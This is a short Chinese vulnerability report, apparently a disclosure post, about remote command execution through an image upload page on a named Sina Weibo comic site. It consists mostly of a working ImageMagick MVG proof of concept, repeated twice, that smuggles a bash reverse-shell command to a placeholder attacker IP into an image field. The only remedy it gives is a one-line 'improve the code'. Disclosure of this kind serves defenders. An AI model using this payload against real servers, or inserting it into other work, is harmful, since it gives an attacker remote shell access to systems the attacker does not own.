新浪微博某处远程命令执行漏洞（可反弹shell操作服务器）
RT
来到这里http://manhua.weibo.com/space/upload_comic
上传poc
push graphic-context
viewbox 0 0 640 480
image copy 200,200 100,100 "|bash -i >& /dev/tcp/x.x.x.x/2334 0>&1"
pop graphic-context
反弹一波
来到这里http://manhua.weibo.com/space/upload_comic
上传poc
push graphic-context
viewbox 0 0 640 480
image copy 200,200 100,100 "|bash -i >& /dev/tcp/x.x.x.x/2334 0>&1"
pop graphic-context
反弹一波
解决方案：
完善代码
相关文章
图文推荐
- 文章
- 推荐
- 热门新闻